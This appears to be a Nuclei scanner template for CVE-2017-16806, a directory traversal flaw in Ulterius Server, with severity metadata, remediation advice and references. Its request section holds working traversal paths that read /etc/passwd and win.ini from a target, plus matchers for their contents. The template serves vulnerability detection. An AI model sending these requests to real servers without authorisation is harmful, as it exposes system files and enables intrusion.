id: CVE-2017-16806

info:
  name: Ulterius Server < 1.9.5.0 - Directory Traversal
  author: geeknik
  severity: high
  description: Ulterius Server before 1.9.5.0 allows HTTP server directory traversal via the process function in RemoteTaskServer/WebServer/HttpServer.cs.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the server.
  remediation: |
    Upgrade Ulterius Server to version 1.9.5.0 or later to mitigate the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/43141
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16806
    - https://github.com/Ulterius/server/commit/770d1821de43cf1d0a93c79025995bdd812a76ee
    - https://www.exploit-db.com/exploits/43141/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16806
    cwe-id: CWE-22
    epss-score: 0.91496
    epss-percentile: 0.99802
    cpe: cpe:2.3:a:ulterius:ulterius_server:1.5.6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ulterius
    product: ulterius_server
  tags: cve2017,cve,ulterius,traversal,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini"
      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022008810b29e86742dfa6e2760588e5f5e5275ea25273db1794814ca68b9b82b77d022100fdc9b7aed4ed772f56b95595d35d0a305b5a450855e656694de6811d54f4ed2f:922c64590222798bb761d5b6d8e72950